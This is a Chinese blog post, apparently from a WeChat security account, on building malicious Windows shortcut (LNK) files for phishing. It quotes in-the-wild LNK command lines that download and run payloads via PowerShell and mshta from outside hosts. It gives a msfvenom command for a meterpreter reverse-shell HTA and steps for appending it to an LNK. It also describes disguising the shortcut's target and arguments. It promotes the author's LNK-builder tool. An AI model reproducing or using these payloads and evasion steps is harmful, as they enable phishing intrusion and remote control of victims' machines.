远程执行
最近看到的两个lnk样本参数,没什么特别的
第一个基于powershell的下载执行
C:WindowsSystem32WindowsPowerShellv1.0powershell.exe -Command "Start-Process powershell -ArgumentList 'Invoke-WebRequest -Uri "https://badlarrysguitars.com/share/drp.exe" -OutFile (Join-Path ([System.IO.Path]::GetTempPath()) "nthelper.exe"); Start-Proces
第二个使用mshta.exe,但不清楚instrumentXHv.webp的内容
C:WindowsSystem32mshta.exe https://entities-important-surgeon-ever.trycloudflare.com/gpU/instrumentXHv.webp /f
既然看都看了,所以就写了个简单的lnk构造工具
代码是抄的x86matthew两年前写的关于在lnk中内置exe的代码,主页的文章好像已经不在了,这里挂一个存档
https://web.archive.org/web/20220405165723/https://www.x86matthew.com/view_post?id=embed_exe_lnk
获取工具和代码方式在【文章末尾】,代码就不放这里了,太占地方
简单说下用法
ShellLnk [指定图标] [输出文件] [目标] [目标参数]比如SehllLnk c:windowssystem32notepad.exe runcalc.lnk c:windowssystem32cmd.exe calc.exe
这里就会创建一个runcalc.lnk的快捷方式,运行后会执行计算器。
本地执行
内置可执行文件(exe)
这种方法就是两年前x86matthew提出的,其中除了解决代码上的问题之外从用户直观感受上解决了如下两个问题
-
• 鼠标悬浮显示目标路径,通过设置lnk的描述解决这个问题,代码中设置了文件类型,大小和修改日期 -
• 在文件属性中可以看到命令行参数,通过在命令行中填充空格来解决
内置hta
hta是什么
HTML 应用程序( HTA )是一种Microsoft Windows程序,其源代码由HTML、动态 HTML和一种或多种Internet Explorer支持的脚本语言(如VBScript或JScript)组成。
如何生成/编写
-
可以自行编写,更为灵活 -
MSF提供生成HTA payload
比如生成一个TCP反向连接
msfconsolemsfvenom -p windows/meterpreter/reverse_tcp LHOST=<你的IP地址> LPORT=<端口号> -f hta-psh > payload.hta
如何内置到lnk
实际上只要将hta文件附加到lnk的后面,然后使用mshta进行执行就行了。
所以首先需要创建一个lnk,并指定命令行,命令行需要完成的是将自身复制到某个地方,然后使用mshta运行,就会自动执行hta中的代码。
ShellLnk.exe c:windowssystem32notepad.exe runcalc.lnk c:windowssystem32cmd.execopy /b runcalc.lnk+runcalc.hta runcalc.lnk
其他
lnk应该还有一些其他的用法,但大多都基于cmd/powershell/rundll32/mshta,难道lnk调用这些的时候不应该警示一下?就像360一样
上述内容,自觉没有太多东西,所以写了小工具分享出来
后台回复【lnkme】可以获得工具和代码
原文始发于微信公众号(悟盾):LNK钓鱼攻击不只是简单的左移右移(文末代码)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论